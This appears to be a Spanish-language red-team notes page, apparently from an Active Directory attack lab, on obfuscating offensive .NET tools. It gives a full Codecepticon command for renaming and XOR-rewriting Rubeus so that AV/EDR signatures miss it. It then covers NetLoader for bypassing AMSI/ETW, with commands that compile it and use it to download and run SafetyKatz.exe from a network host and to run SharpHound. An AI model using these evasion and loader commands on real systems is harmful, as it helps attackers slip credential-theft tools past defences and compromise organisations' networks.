# .NET

## Ofuscación de proyectos .NET

### Codecepticon

* Es una herramienta de **ofuscación de código fuente en .NET**.
* Su objetivo es evitar que **AV/EDR detecten herramientas ofensivas** (Rubeus, Mimikatz reescrito en C#, etc.) al cambiar el código para que no coincida con firmas conocidas.
* Proyecto: <https://github.com/Accenture/Codecepticon>

#### Cómo se usa

1. **Compilar en Visual Studio:**
   * Descargas el proyecto y lo compilas en VS.
   * Vas al directorio de salida y abres `CommandLineGenerator.html`.
   * Desde ahí puedes generar fácilmente el comando de obfuscación.
2. **Ejemplo de comando de ofuscación**:

   <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\AD\Tools\Codecepticon.exe --action obfuscate --module csharp --verbose --path "C:\AD\Tools\Rubeus-master\Rubeus.sln" --map-file "C:\AD\Tools\Rubeus-master\Mapping.html" --profile rubeus --rename ncefpavs --rename-method markov --markov-min-length 3 --markov-max-length 10 --markov-min-words 3 --markov-max-words 5 --string-rewrite --string-rewrite-method xor
   </code></pre>

   > * `--rename-method markov` → renombra métodos con cadenas aleatorias tipo “Markov”.
   > * `--string-rewrite` → reescribe strings para que no coincidan con firmas.
   > * `--profile rubeus` → aplica un perfil predefinido para esa herramienta.
3. **Resultado**:

* El código de Rubeus (o la herramienta que elijas) queda con:
  * Variables, funciones, parámetros y enums renombrados.
  * Strings reescritas.
* En Visual Studio verías todo con nombres aleatorios en lugar de los originales.

### ConfuserEx

PENDIENTE :)

## NetLoader

NetLoader es un **loader ofuscado en .NET para binarios**, muy útil para saltar AMSI/ETW, pero en su versión básica es fácil de detectar. Si lo combinas con **D/Invoke + CsWhispers**, se convierte en un loader **fileless y EDR-evasive**.

<https://gist.github.com/Arno0x/2b223114a726be3c5e7a9cacd25053a2>

{% code overflow="wrap" %}

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:NetLoader.exe NetLoader.cs
```

{% endcode %}

```
C:\AD\Tools\Loader.exe -Path http://172.16.100.X/SafetyKatz.exe
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\BloodHoundmaster\BloodHound-master\Collectors\SharpHound.exe -args --
collectionmethods All
```
